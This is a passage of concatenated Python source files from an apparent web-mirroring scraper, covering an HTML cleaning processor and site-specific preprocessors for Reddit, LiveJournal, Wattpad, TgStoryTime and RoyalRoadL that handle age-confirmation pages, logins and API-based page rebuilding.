				[,"1zmxymHw5mpCEr8P-rXAvbVUoJkHj-8T02g7TUMKqcME",,,"https://docs.google.com/document/d/1zmxymHw5mpCEr8P-rXAvbVUoJkHj-8T02g7TUMKqcME/edit?usp\u003ddrive_web"],
				[,"1yQm3FCJySVSPXNScsjAivWOKkcDk1lQWEf1MFRoQ0eI",,,"https://docs.google.com/document/d/1yQm3FCJySVSPXNScsjAivWOKkcDk1lQWEf1MFRoQ0eI/edit?usp\u003ddrive_web"],
				[,"17TWHTW4ucfyz52fRu4csDyu2GLR2fQHL3TGa3awMnyA",,,"https://docs.google.com/document/d/17TWHTW4ucfyz52fRu4csDyu2GLR2fQHL3TGa3awMnyA/edit?usp\u003ddrive_web"],
				[,"1-r8cQXe-Eq0JRLlu_KHblMsyfJa1K0x0eRdAJHGOq5M",,,"https://docs.google.com/document/d/1-r8cQXe-Eq0JRLlu_KHblMsyfJa1K0x0eRdAJHGOq5M/edit?usp\u003ddrive_web"],
				[,"13LA8daW3YYqAcBwZtjEd-Y_Y3BuPib7yyPKhsGZclw4",,,"https://docs.google.com/document/d/13LA8daW3YYqAcBwZtjEd-Y_Y3BuPib7yyPKhsGZclw4/edit?usp\u003ddrive_web"],
				[,"1KIV74EoKr9nJWirCV4YX0aCuB66M065sjOCFcqMaAkE",,,"https://docs.google.com/document/d/1KIV74EoKr9nJWirCV4YX0aCuB66M065sjOCFcqMaAkE/edit?usp\u003ddrive_web"],
				[,"1wiAkjP0iKyH_dcduJEO9kuQPmOxcg8NrRVTBrtbNX80",,,"https://docs.google.com/document/d/1wiAkjP0iKyH_dcduJEO9kuQPmOxcg8NrRVTBrtbNX80/edit?usp\u003ddrive_web"],
				[,"14E-mqfTx4AMxQp16lkFER4KxDY3IEbPFngDG2b7U8_A",,,"https://docs.google.com/document/d/14E-mqfTx4AMxQp16lkFER4KxDY3IEbPFngDG2b7U8_A/edit?usp\u003ddrive_web"],
				[,"1gs_lPbBDUIU5CU9Ifzfb5iU2sw6NSJ99pUz_SQRAiek",,,"https://docs.google.com/document/d/1gs_lPbBDUIU5CU9Ifzfb5iU2sw6NSJ99pUz_SQRAiek/edit?usp\u003ddrive_web"],
				[,"1gohzQIVuU1t4Xe7Ptgta9z2rzqPttudipcBP93LYNOg",,,"https://docs.google.com/document/d/1gohzQIVuU1t4Xe7Ptgta9z2rzqPttudipcBP93LYNOg/edit?usp\u003ddrive_web"],
				[,"1WBHJYHScs1T_A8cx4vl7G4CsVGZW1N7fmUPpJktRInM",,,"https://docs.google.com/document/d/1WBHJYHScs1T_A8cx4vl7G4CsVGZW1N7fmUPpJktRInM/edit?usp\u003ddrive_web"],
				[,"1QIWDTGzuPUSu4zt9DK7UXCULC8XbiGYSFJ6xQO6KuEA",,,"https://docs.google.com/document/d/1QIWDTGzuPUSu4zt9DK7UXCULC8XbiGYSFJ6xQO6KuEA/edit?usp\u003ddrive_web"],
				[,"1TdFei-WeOoNqyziCopOYtdULMTspy81247PWKICL40U",,,"https://docs.google.com/document/d/1TdFei-WeOoNqyziCopOYtdULMTspy81247PWKICL40U/edit?usp\u003ddrive_web"],
				[,"12VtmcLrm99guIYu0VejKAbfCSlJiORs3erUEoGxyRh8",,,"https://docs.google.com/document/d/12VtmcLrm99guIYu0VejKAbfCSlJiORs3erUEoGxyRh8/edit?usp\u003ddrive_web"],
				[,"10H9JbkmBK6qblquM7eUfh0MMazrx96p-ISSeO4WaN-w",,,"https://docs.google.com/document/d/10H9JbkmBK6qblquM7eUfh0MMazrx96p-ISSeO4WaN-w/edit?usp\u003ddrive_web"],
				[,"1fmZVeM43nb08qZIQ2881ah3xy-w7UZGlRFgyiNICddw",,,"https://docs.google.com/document/d/1fmZVeM43nb08qZIQ2881ah3xy-w7UZGlRFgyiNICddw/edit?usp\u003ddrive_web"],
				[,"1c6SmpWQZWNM0mldRZ5Dg9eNUNnkqJhY3SGHR5YpV0Nw",,,"https://docs.google.com/document/d/1c6SmpWQZWNM0mldRZ5Dg9eNUNnkqJhY3SGHR5YpV0Nw/edit?usp\u003ddrive_web"],
				[,"1rhoCQcOUW1eccV4Fsh6K76u0Vup7DMQhBfDcknEbFHI",,,"https://docs.google.com/document/d/1rhoCQcOUW1eccV4Fsh6K76u0Vup7DMQhBfDcknEbFHI/edit?usp\u003ddrive_web"]
			]
		}''',


	)
	for test in tests:
		print("Parsing '%s'" % test)
		results = jsParse(test)
		print(results)
		# print(results[-1])

if __name__ == "__main__":
	test()







import bs4
import copy
import re
import webcolors
import urllib.parse
import WebMirror.util.webFunctions

import WebMirror.util.urlFuncs as urlFuncs
from WebMirror.processor import ProcessorBase
import markdown


########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################




class NovelUpdatesHtmlPageProcessor(ProcessorBase.PageProcessor):


	wanted_mimetypes = ['text/html']
	want_priority    = 100

	loggerPath = "Main.Text.HtmlProc"

	def __init__(self, baseUrls, pageUrl, pgContent, loggerPath, relinkable, **kwargs):

		self._tld           = set()
		self._fileDomains   = set()

		assert bool(pgContent) == True

		self.content = pgContent
		self.pageUrl = pageUrl

		# kwargs.setdefault("badwords",           [])
		# kwargs.setdefault("decompose",          [])
		# kwargs.setdefault("decomposeBefore",    [])
		# kwargs.setdefault("fileDomains",        [])
		# kwargs.setdefault("allImages",          True)
		# kwargs.setdefault("followGLinks",       True)
		# kwargs.setdefault("ignoreBadLinks",     False)
		# kwargs.setdefault("tld",                set())
		# kwargs.setdefault("stripTitle",         '')
		# kwargs.setdefault("ignoreMissingTitle", False)
		# kwargs.setdefault("destyle",            [])

		# `_decompose` and `_decomposeBefore` are the actual arrays of items to decompose, that are loaded with the contents of
		# `decompose` and `decomposeBefore` on plugin initialization


		self._decompose       = copy.copy(ProcessorBase.GLOBAL_DECOMPOSE_AFTER)
		self._decomposeBefore = copy.copy(ProcessorBase.GLOBAL_DECOMPOSE_BEFORE)
		self.stripTitle       = copy.copy(kwargs['stripTitle'])
		self.destyle          = copy.copy(kwargs['destyle'])
		self.preserveAttrs    = copy.copy(kwargs['preserveAttrs'])


		appends = [
			(kwargs["decompose"],       self._decompose),
			(kwargs["decomposeBefore"], self._decomposeBefore),
		]

		# Move the plugin-defined decompose calls into the control lists
		for src, dst in appends:
			for item in src:
				dst.append(item)



	@staticmethod
	def wantsUrl(url):
		if re.search(r"^https?://(?:www\.)?booksie\.com", url):
			print("NovelUpdates Wants url: '%s'" % url)
			return True

		return False



	########################################################################################################################
	#
	#	 ######   ######  ########     ###    ########  #### ##    ##  ######      ######## ##     ## ##    ##  ######  ######## ####  #######  ##    ##  ######
	#	##    ## ##    ## ##     ##   ## ##   ##     ##  ##  ###   ## ##    ##     ##       ##     ## ###   ## ##    ##    ##     ##  ##     ## ###   ## ##    ##
	#	##       ##       ##     ##  ##   ##  ##     ##  ##  ####  ## ##           ##       ##     ## ####  ## ##          ##     ##  ##     ## ####  ## ##
	#	 ######  ##       ########  ##     ## ########   ##  ## ## ## ##   ####    ######   ##     ## ## ## ## ##          ##     ##  ##     ## ## ## ##  ######
	#	      ## ##       ##   ##   ######### ##         ##  ##  #### ##    ##     ##       ##     ## ##  #### ##          ##     ##  ##     ## ##  ####       ##
	#	##    ## ##    ## ##    ##  ##     ## ##         ##  ##   ### ##    ##     ##       ##     ## ##   ### ##    ##    ##     ##  ##     ## ##   ### ##    ##
	#	 ######   ######  ##     ## ##     ## ##        #### ##    ##  ######      ##        #######  ##    ##  ######     ##    ####  #######  ##    ##  ######
	#
	########################################################################################################################




	def processImageLink(self, url, baseUrl):

		# Skip tags with `img src=""`.
		# No idea why they're there, but they are
		if not url:
			return

		# # Filter by domain
		# if not self.allImages and not any([base in url for base in self._fileDomains]):
		# 	return

		# # and by blocked words
		# hadbad = False
		# for badword in self._badwords:
		# 	if badword.lower() in url.lower():
		# 		hadbad = True
		# if hadbad:
		# 	return


		url = urlFuncs.urlClean(url)

		return self.processNewUrl(url, baseUrl=baseUrl, istext=False)





	def extractImages(self, soup, baseUrl):
		ret = []
		for imtag in soup.find_all("img"):
						# Skip empty anchor tags
			try:
				url = imtag["src"]
			except KeyError:
				continue

			item = self.processImageLink(url, baseUrl)
			if item:
				ret.append(item)
		return ret


	def destyleItems(self, soup):
		'''
		using the set of search 2-tuples in `destyle`,
		walk the parse tree and decompose the attributes of any matching
		element.
		'''
		for tagtype, attrs in self.destyle:
			for found in soup.find_all(tagtype, attrs=attrs):
				for key in list(found.attrs):
					del found.attrs[key]

		return soup

	def decomposeItems(self, soup, toDecompose):
		if not soup:
			print("Soup is false? Wat?")

		# print("Decomposing", toDecompose)
		# Decompose all the parts we don't want

		# Use a custom function so we only walk the tree once.
		def searchFunc(tag):
			for candidate in toDecompose:
				matches = [
					(tag.get(key) and any([sattr == value.lower() for sattr in tag.get(key)]))
						for key, value in candidate.items()]
				match = any(matches)
				if match:
					return True
			return False


		have = soup.find_all(searchFunc)

		for instance in have:
			# print("Need to decompose for ", key)
			# So.... yeah. At least one blogspot site has EVERY class used in the
			# <body> tag, for no coherent reason. Therefore, *never* decompose the <body>
			# tag, even if it has a bad class in it.
			if instance.name == 'body':
				continue

			instance.decompose()

		return soup

	def decomposeAdditional(self, soup):


		# Clear out all the iframes
		for instance in soup.find_all('iframe'):
			instance.decompose()

		# Clean out any local stylesheets
		for instance in soup.find_all('style', attrs={"type" : "text/css"}):
			instance.decompose()

		# Even if not explicitly tagged as css
		for instance in soup.find_all('style'):
			instance.decompose()

		# And all remote scripts
		for item in soup.find_all("script"):
			item.decompose()

		# Link tags
		for item in soup.find_all("link"):
			item.decompose()

		# Meta tags
		for item in soup.find_all("meta"):
			item.decompose()

		# Comments
		for item in soup.findAll(text=lambda text:isinstance(text, bs4.Comment)):
			item.extract()

		return soup


	def fixCss(self, soup):
		'''
		So, because the color scheme of our interface can vary from the original, we need to fix any cases
		of white text. However, I want to preserve *most* of the color information.
		Therefore, we look at all the inline CSS, and just patch where needed.
		'''

		hascss = soup.find_all(True, attrs={"style" : True})


		# parser = tinycss.make_parser('page3')

		hexr = re.compile('(#(?:[a-fA-F0-9]{6})|#(?:[a-fA-F0-9]{3}))')

		ascii_color = re.compile('color\W*?:\W*?\w+;?')

		for item in hascss:
			if item['style']:
				ststr = item['style']

				# Prevent inline fonts.
				if 'font:' in ststr.lower() or 'font :' in ststr.lower() :
					item['style'] = ''
				# Disable all explicit width settings.
				if 'width' in ststr.lower():
					item['style'] = ''
				if 'max-width' in ststr.lower():
					item['style'] = ''

				if 'background-image:' in ststr.lower():
					item['style'] = ''



				old = hexr.findall(ststr)
				for match in old:
					color = webcolors.hex_to_rgb(match)
					mean = sum(color)/len(color)

					if mean > 150:
						above = mean - 150
						color = tuple((max(255-cval, 0) for cval in color))
						new = webcolors.rgb_to_hex(color)
						item['style'] = item['style'].replace(match, new)
						#item['style'] = ''

				if ascii_color.findall(ststr):
					item['style'] = ''

				# I really /want/ to use a real CSS parser, but I can't find any
				# that properly let me /generate/ CSS. TinyCSS /parses/, but I can't
				# then convert the parse tree back to css (as far as I can tell, anyways)


				# attr, errors = parser.parse_style_attr(item['style'])

				# new = []
				# for decl in attr:
				# 	if decl.name == "color" and decl.value[0].type == "HASH":
				# 		print(decl)
				# 		print(decl.name)
				# 		print(decl.value)

				# 	print(decl.as_css())

		return soup

	def cleanHtmlPage(self, soup, url=None):

		soup = self.relink(soup)

		title = self.extractTitle(soup, url)


		if isinstance(self.stripTitle, (list, set)):
			for stripTitle in self.stripTitle:
				title = title.replace(stripTitle, "")
		else:
			title = title.replace(self.stripTitle, "")

		title = title.strip()

		# Since the content we're extracting will be embedded into another page, we want to
		# strip out the <body> and <html> tags. `unwrap()`  replaces the soup with the contents of the
		# tag it's called on. We end up with just the contents of the <body> tag.
		if soup.body:
			soup.body.unwrap()
		elif soup.html:
			soup.html.unwrap()

		contents = soup.prettify()

		return title, contents



	def removeClasses(self, soup):
		cnt = 0

		validattrs = [
			'href',
			'src',
			'style',
			'cellspacing',
			'cellpadding',
			'border',
			'colspan',
			'onclick',
			'type',
			'value',
		]
		print("RemoveClasses call!")

		for item in [item for item in soup.find_all(True) if item]:
			tmp_valid = validattrs[:]
			clean = True
			for name, attr in self.preserveAttrs:
				if item.name == name:
					if attr:
						tmp_valid.append(attr)

					else:
						# Preserve all attributes
						clean = False
			if clean and item.attrs:

				for attr, value in list(item.attrs.items()):
					if attr == 'style' and 'float' in value:
						del item[attr]
					elif attr not in tmp_valid:
						del item[attr]

			# Set the class of tables set to have no borders to the no-border css class for later rendering.
			if item.name == "table" and item.has_attr("border") and item['border'] == "0":
				if not item.has_attr("class"):
					item['class'] = ""
				item['class'] += " noborder"


		return soup


	# Miscellaneous spot-fixes for specific sites.
	def spotPatch(self, soup):

		# Replace <pre> tags on wattpad.
		# wp_div = soup.find_all('div', class_="panel-reading")
		# for item in wp_div:

		# Fukkit, just nuke them in general
		for pre in soup.find_all("pre"):
			pre.name = "div"
			formatted = markdown.markdown(pre.encode_contents().decode("utf-8"), extensions=["linkify"])
			formatted = WebMirror.util.webFunctions.as_soup(formatted)
			if formatted.find("html"):
				formatted.html.unwrap()
				formatted.body.unwrap()
				pre.replace_with(formatted)
			# print(pre)
		return soup




	def preprocessBody(self, soup):
		for link in soup.find_all("a"):
			if link.has_attr("href"):
				if "javascript:if(confirm(" in link['href']:
					qs = urllib.parse.urlsplit(link['href']).query
					link['href'] = "/viewstory.php?{}".format(qs)

		return soup

	# Process a plain HTML page.
	# This call does a set of operations to permute and clean a HTML page.
	#
	# First, it decomposes all tags with attributes dictated in the `_decomposeBefore` class variable
	# it then canonizes all the URLs on the page, extracts all the URLs from the page,
	# then decomposes all the tags in the `decompose` class variable, feeds the content through
	# readability, and finally saves the processed HTML into the database
	def extractContent(self):
		self.log.info("Processing '%s' as HTML (size: %s).", self.pageUrl, len(self.content))
		assert self.content
		# print(type(self.content))
		soup = WebMirror.util.webFunctions.as_soup(self.content)


		# Allow child-class hooking
		soup = self.preprocessBody(soup)

		# Clear out any particularly obnoxious content before doing any parsing.
		soup = self.decomposeItems(soup, self._decomposeBefore)

		# Make all the page URLs fully qualified, so they're unambiguous
		soup = urlFuncs.canonizeUrls(soup, self.pageUrl)

		# pull out the page content and enqueue it. Filtering is
		# done in the parent.
		plainLinks = self.extractLinks(soup, self.pageUrl)
		imageLinks = self.extractImages(soup, self.pageUrl)

		# Do the later cleanup to prep the content for local rendering.
		soup = self.decomposeItems(soup, self._decompose)

		soup = self.decomposeAdditional(soup)
		soup = self.spotPatch(soup)
		soup = self.destyleItems(soup)

		# Allow child-class hooking
		soup = self.postprocessBody(soup)

		soup = self.removeClasses(soup)

		soup = self.fixCss(soup)

		# Process page with readability, extract title.
		pgTitle, pgBody = self.cleanHtmlPage(soup, url=self.pageUrl)

		ret = {}

		# If an item has both a plain-link and an image link, prefer the
		# image link, and delete it from the plain link list
		for link in imageLinks:
			if link in plainLinks:
				plainLinks.remove(link)

		ret['plainLinks'] = []
		ret['rsrcLinks']  = []
		ret['title']      = pgTitle
		ret['contents']   = pgBody


		return ret

		# self.updateDbEntry(url=url, title=pgTitle, contents=pgBody, mimetype=mimeType, dlstate=2)










import runStatus
runStatus.preloadDicts = False

import WebMirror.LogBase as LogBase
import abc



class ContentPreprocessor(LogBase.LoggerMixin, metaclass=abc.ABCMeta):

	def __init__(self, webgetter):
		super().__init__()
		self.wg = webgetter

	@abc.abstractmethod
	def preprocessContent(self, url, mimetype, contentstr):
		pass

	@staticmethod
	def wantsUrl(url):
		print("Preprocessor wat?")
		return True


	# Proxy call for enforcing call-correctness
	@classmethod
	def preprocess(cls, url, mimeType, content, wg):
		instance = cls(wg)
		return instance.preprocessContent(url, mimeType, content)









import runStatus
runStatus.preloadDicts = False

import WebMirror.PreProcessors.PreProcessorBase
import urllib.parse
import bs4




class RedditPreprocessor(WebMirror.PreProcessors.PreProcessorBase.ContentPreprocessor):

	loggerPath = "Main.Preprocessor.Reddit"

	def acceptAdult(self, content, url):

		target = "https://www.reddit.com/over18?%s" % urllib.parse.urlencode({"dest" : url})

		form_args = {
			"over18" : "yes",
		}

		new = self.wg.getpage(target, postData=form_args)
		assert '<title>reddit.com: over 18?</title>' not in new
		return new


	def preprocessContent(self, url, mimetype, contentstr):
		if not isinstance(contentstr, str):
			return contentstr
		self.log.info("Preprocessing content from URL: '%s'", url)
		if '<title>reddit.com: over 18?</title>' in contentstr:
			self.log.info("Adult clickwrap page. Stepping through")
			contentstr = self.acceptAdult(contentstr, url)
			self.log.info("Retreived clickwrapped content successfully")
		return contentstr

	@staticmethod
	def wantsUrl(url):
		netloc = urllib.parse.urlsplit(url).netloc
		return netloc.lower().endswith("reddit.com")









import runStatus
runStatus.preloadDicts = False

import WebMirror.PreProcessors.PreProcessorBase
import urllib.parse
import bs4




class LJPreprocessor(WebMirror.PreProcessors.PreProcessorBase.ContentPreprocessor):

	loggerPath = "Main.Preprocessor.Livejournal"

	def acceptAdult(self, content, url):
		soup = bs4.BeautifulSoup(content, "lxml")
		formdiv = soup.find('div', class_='b-msgsystem-warningbox-confirm')

		target = formdiv.form['action']
		bounce = formdiv.input
		button = formdiv.button

		form_args = {
			button['name'] : button['value'],
			bounce['name'] : bounce['value'],
		}

		new = self.wg.getpage(target, postData=form_args)
		assert '<form method="POST" action="http://www.livejournal.com/misc/adult_explicit.bml">' not in new
		return new


	def preprocessContent(self, url, mimetype, contentstr):
		if not isinstance(contentstr, str):
			return contentstr
		self.log.info("Preprocessing content from URL: '%s'", url)
		if '<form method="POST" action="http://www.livejournal.com/misc/adult_explicit.bml">' in contentstr:
			self.log.info("Adult clickwrap page. Stepping through")
			contentstr = self.acceptAdult(contentstr, url)
			self.log.info("Retreived clickwrapped content successfully")
		return contentstr

	@staticmethod
	def wantsUrl(url):
		netloc = urllib.parse.urlsplit(url).netloc
		return netloc.lower().endswith("livejournal.com")









import runStatus
runStatus.preloadDicts = False

import WebMirror.PreProcessors.PreProcessorBase
import urllib.parse
from settings import WATTPAD_AUTH_CREDS



class WattPadPreprocessor(WebMirror.PreProcessors.PreProcessorBase.ContentPreprocessor):

	loggerPath = "Main.Preprocessor.WattPad"



	def check_logged_in(self):
		soup = self.wg.getSoup("https://www.wattpad.com/home")
		uname = soup.find("span", class_='username')
		if uname and WATTPAD_AUTH_CREDS['username'] in uname.get_text():
			return True
		return False

	def doLogin(self, content, url):
		auth = {
			'username' : WATTPAD_AUTH_CREDS['username'],
			'password' : WATTPAD_AUTH_CREDS['password']
		}

		target = "https://www.wattpad.com/login?%s" % urllib.parse.urlencode({"nextUrl" : url})

		content = self.wg.getpage(target, postData=auth)

		now_logged_in = self.check_logged_in()
		if not now_logged_in:
			logger.error("ERROR! Login failed!")
			raise ValueError
		return content


	def preprocessContent(self, url, mimetype, contentstr):
		if not isinstance(contentstr, str):
			return contentstr
		self.log.info("Preprocessing content from URL: '%s'", url)
		if '<a id="header-item-login" rel="nofollow" href=' in contentstr:
			self.log.info("Not logged into wattpad. Rectifying.")
			contentstr = self.doLogin(contentstr, url)
			self.log.info("Wattpad logged in.")
		return contentstr

	@staticmethod
	def wantsUrl(url):
		netloc = urllib.parse.urlsplit(url).netloc
		return netloc.lower().endswith("wattpad.com")















import runStatus
runStatus.preloadDicts = False

import WebMirror.PreProcessors.PreProcessorBase
import urllib.parse
import bs4




class TgStoryTimePreprocessor(WebMirror.PreProcessors.PreProcessorBase.ContentPreprocessor):

	loggerPath = "Main.Preprocessor.TgStoryTime"

	def acceptAdult(self, content, url):

		soup = bs4.BeautifulSoup(content, "lxml")
		newloc = soup.find('div', class_='errormsg')
		if not newloc:
			return content
		newloc = newloc.a['href']
		tgt = urllib.parse.urljoin(url, newloc)
		new = self.wg.getpage(tgt)
		assert 'This story has explicit content.' not in new
		return new


	def preprocessContent(self, url, mimetype, contentstr):
		if not isinstance(contentstr, str):
			return contentstr
		self.log.info("Preprocessing content from URL: '%s'", url)
		if 'This story has explicit content.' in contentstr:
			self.log.info("Adult clickwrap page. Stepping through")
			contentstr = self.acceptAdult(contentstr, url)
			self.log.info("Retreived clickwrapped content successfully")
		return contentstr

	@staticmethod
	def wantsUrl(url):
		netloc = urllib.parse.urlsplit(url).netloc
		return netloc.lower().endswith("tgstorytime.com")









import runStatus
runStatus.preloadDicts = False

import WebMirror.PreProcessors.PreProcessorBase
import bs4
import re
import datetime
import markdown
import bbcode
import WebMirror.OutputFilters.FilterBase

def ago(then):
	if then == None:
		return "Never"
	now = datetime.datetime.now()
	delta = now - then

	d = delta.days
	h, s = divmod(delta.seconds, 3600)
	m, s = divmod(s, 60)
	labels = ['d', 'h', 'm', 's']
	dhms = ['%s %s' % (i, lbl) for i, lbl in zip([d, h, m, s], labels)]
	for start in range(len(dhms)):
		if not dhms[start].startswith('0'):
			break
	for end in range(len(dhms)-1, -1, -1):
		if not dhms[end].startswith('0'):
			break
	return ', '.join(dhms[start:end+1])


def build_item_summary(release_struct):
	d_s = bs4.BeautifulSoup("<b></b>", "lxml")
	tag = d_s.new_tag("div")

	header          = d_s.new_tag("h2")
	header.string   = release_struct['name']
	author          = d_s.new_tag("h4", id="series-author", author=release_struct['author_name'])
	author.string   = "By: " + release_struct['author_name']
	status          = d_s.new_tag("div")
	status.string   = "Status: " + str(release_struct['status'].title())
	chapters        = d_s.new_tag("h4")
	genres          = d_s.new_tag("div", id="series-genres",  genres=release_struct['genres'].strip(","))
	genres.string   = "Tags: " + release_struct['genres'].strip(",").replace(",", ", ")
	chapters.string = "Chapters: " + str(release_struct['chapters'])
	time            = d_s.new_tag("div", last_release = release_struct['last_update'])
	time.string     = "Last release: " + ago(datetime.datetime.fromtimestamp(int(release_struct['last_update'])))
	content         = d_s.new_tag("div")

	main = release_struct['description'].replace("\n", "<br>")
	main = markdown.markdown(main, extensions=["linkify"])
	for chunk in bs4.BeautifulSoup(main, "lxml").body:
		content.append(chunk)
	link            = d_s.new_tag("div")
	linka           = d_s.new_tag("a")
	linka['id']     = "rrl-series-link"
	linka['href']   = "http://royalroadl.com/fiction/{fid}".format(fid=release_struct['forum_id'])
	linka.string    = "Series Page"
	link.append(linka)

	t = d_s.new_tag("div")
	t.append(header)
	tag.append(t)
	tag.append("\n")
	t = d_s.new_tag("div")
	t.append(author)
	tag.append(t)
	tag.append("\n")
	t = d_s.new_tag("div")
	t.append(chapters)
	tag.append(t)
	tag.append("\n")
	t = d_s.new_tag("div")
	t.append(status)
	tag.append(t)
	tag.append("\n")
	t = d_s.new_tag("div")
	t.append(genres)
	tag.append(t)
	tag.append("\n")
	t = d_s.new_tag("div")
	t.append(time)
	tag.append(t)
	tag.append("\n")
	t = d_s.new_tag("div")
	t.append(content)
	tag.append(t)
	tag.append("\n")
	t = d_s.new_tag("div")
	t.append(link)
	tag.append(t)
	tag.append("\n")
	return tag


def build_bbcode_parser():
	def render_size(tag_name, value, options, parent, context):
		if 'size' in options:
			size = options['size']
		else:
			size = None
		if size == "medium":
			style = 'style="font-size: 150%"'
		elif size == "large":
			style = 'style="font-size: 200%"'
		elif size == "small":
			style = 'style="font-size: 75%"'
		else:
			style = ''
		return '<span %s>%s</span>' % (style, value)

	def render_font(tag_name, value, options, parent, context):
		if 'font' in options:
			font = options['font']
		else:
			font = None
		if font:
			style = "style='font:%s'" % font

		return '<span %s>%s</span>' % (style, value)

	parser = bbcode.Parser()
	parser.add_formatter('size', render_size)
	parser.add_formatter('font', render_font)
	parser.add_simple_formatter('table', '<table class="table-striped fullwidth">%(value)s</table>')
	parser.add_simple_formatter('tr',    '<tr>%(value)s</tr>')
	parser.add_simple_formatter('td',    '<td>%(value)s</td>')
	parser.add_simple_formatter('td1',   '<td>%(value)s</td>')
	parser.add_simple_formatter('td2',   '<td colspan="2">%(value)s</td>')
	parser.add_simple_formatter('td3',   '<td colspan="3">%(value)s</td>')
	parser.add_simple_formatter('td4',   '<td colspan="4">%(value)s</td>')

	return parser



class RRLListPagePreprocessor(WebMirror.PreProcessors.PreProcessorBase.ContentPreprocessor):

	loggerPath = "Main.Preprocessor.RoyalRoadL-Lists"


	URL_AJAX_KEYS = {
		"http://royalroadl.com/fictions/newest"            : "http://api.royalroadl.com/fictions.php?search=1&rpp=20&dir=DESC&page={pagenum}&status=&order_by=first_update",
		"http://royalroadl.com/fictions/popular-this-week" : "http://api.royalroadl.com/fictions.php?search=1&rpp=20&dir=DESC&page={pagenum}&status=&order_by=weekly",
		"http://royalroadl.com/fictions/best-rated"        : "http://api.royalroadl.com/fictions.php?search=1&rpp=20&dir=DESC&page={pagenum}&status=&order_by=",
		"http://royalroadl.com/fictions/latest-updates"    : "http://api.royalroadl.com/fictions.php?search=1&rpp=20&dir=DESClast_update&page={pagenum}&status=ONGOING&order_by=last_update",
		"http://royalroadl.com/fictions/active-only"       : "http://api.royalroadl.com/fictions.php?search=1&rpp=20&dir=DESC&page={pagenum}&status=ONGOING&order_by=",
	}


	def build_proper_page(self, url, contentstr):
		posts = []
		for x in range(3):
			ctnt = self.wg.getJson(self.URL_AJAX_KEYS[url].format(pagenum = x))
			posts.extend(ctnt)

		soup = bs4.BeautifulSoup(contentstr, "lxml")

		postlist = soup.new_tag("ul")


		for release in posts:
			post = build_item_summary(release)
			t = soup.new_tag("div")
			t.append(post)
			postlist.append(t)

		soup.find("md-content").clear()
		soup.find("md-content").append(postlist)

		return soup.prettify()

	def preprocessContent(self, url, mimetype, contentstr):
		if not isinstance(contentstr, str):
			return contentstr

		if url in self.URL_AJAX_KEYS:
			contentstr = self.build_proper_page(url, contentstr)

		self.log.info("Preprocessing content from URL: '%s'", url)

		return contentstr


	@staticmethod
	def wantsUrl(url):
		return "http://royalroadl.com/fictions/" in url.lower() or "https://royalroadl.com/fictions/" in url.lower()

class RRLSeriesPagePreprocessor(WebMirror.PreProcessors.PreProcessorBase.ContentPreprocessor):

	loggerPath = "Main.Preprocessor.RoyalRoadL-Series"

	def build_chapter_list(self, chapters_json, fid):

		d_s = bs4.BeautifulSoup("<b></b>", "lxml")
		release = d_s.new_tag("ul")

		#
		for chapter in chapters_json:
			tag = d_s.new_tag("li")
			chpurl = "http://royalroadl.com/fiction/{fid}/chapter/{cid}".format(fid=fid, cid=chapter['tid'])
			chp          = d_s.new_tag("a", href=chpurl)
			chp.string   = chapter['subject']

			tag.append(chp)
			tag.append("\n")
			release.append(tag)

		return release

	def get_volume_tuples(self, volume_json):
		ret = []
		for volumeset in volume_json:
			print(volumeset)
			ret.append((volumeset['id'], volumeset['volume_name']))
		return ret

	def build_proper_page(self, url, contentstr):
		soup = bs4.BeautifulSoup(contentstr, "lxml")

		fid = url.split("/")[-1]

		release_info = self.wg.getJson("http://api.royalroadl.com/fictions.php?fid={fid}".format(fid = fid))
		volume_json      = self.wg.getJson("http://api.royalroadl.com/chapters.php?action=volumes&fid={fid}".format(fid = fid))


		postlist = soup.new_tag("div")

		post     = build_item_summary(release_info)
		postlist.append(post)

		volumes = [
			("null", ""),
			]
		volumes.extend(self.get_volume_tuples(volume_json))
		for vid, volname in volumes:
			chapters = self.wg.getJson("http://api.royalroadl.com/chapters.php?action=volumeChapters&volume={vid}&fid={fid}".format(fid = fid, vid=vid))
			chapters = self.build_chapter_list(chapters, release_info['forum_id'])
			if volname:

				item = soup.new_tag("div")
				b = soup.new_tag("b")
				b.string = volname
				item.append(b)
				postlist.append(item)
			postlist.append(chapters)

		# print(postlist)
		soup.find("md-content").clear()
		soup.find("md-content").append(postlist)

		ret = soup.prettify()
		# print(ret)
		return ret

	def preprocessContent(self, url, mimetype, contentstr):
		if not isinstance(contentstr, str):
			return contentstr

		self.log.info("Preprocessing content from URL: '%s'", url)
		contentstr = self.build_proper_page(url, contentstr)

		return contentstr


	@staticmethod
	def wantsUrl(url):
		release = re.match(r'^http://royalroadl.com/fiction/\d+$', url)
		print("[RRLSeriesPagePreprocessor] - WantsURL: Release = ", release)
		return bool(release)

class RRLChapterPagePreprocessor(WebMirror.PreProcessors.PreProcessorBase.ContentPreprocessor):

	loggerPath = "Main.Preprocessor.RoyalRoadL-Chapter"

	def build_item_page(self, fid, chapter_struct):
		d_s = bs4.BeautifulSoup("<b></b>", "lxml")
		tag = d_s.new_tag("div")

		title          = d_s.new_tag("h2")
		title.string   = chapter_struct['title']

		author          = d_s.new_tag("h4")
		author.string   = "By: " + chapter_struct['chapterAuthor']

		time            = d_s.new_tag("div")
		time.string     = "Last release: " + ago(datetime.datetime.fromtimestamp(int(chapter_struct['dateline'])))

		content         = d_s.new_tag("div")

		main = chapter_struct['content']
		parser = build_bbcode_parser()
		main = parser.format(main)
		for chunk in bs4.BeautifulSoup(main, "lxml").body:
			content.append(chunk)

		link            = d_s.new_tag("div")
		linka           = d_s.new_tag("a")
		linka['id']     = "rrl-series-link"
		linka['href']   = "http://royalroadl.com/fiction/{fid}".format(fid=fid)
		linka.string    = "Series Page"
		link.append(linka)

		t = d_s.new_tag("div")
		t.append(title)
		tag.append(t)
		tag.append("\n")
		t = d_s.new_tag("div")
		t.append(author)
		tag.append(t)
		tag.append("\n")
		t = d_s.new_tag("div")
		t.append(time)
		tag.append(t)
		tag.append("\n")
		t = d_s.new_tag("div")
		t.append(content)
		tag.append(t)
		tag.append("\n")
		t = d_s.new_tag("div")
		t.append(link)
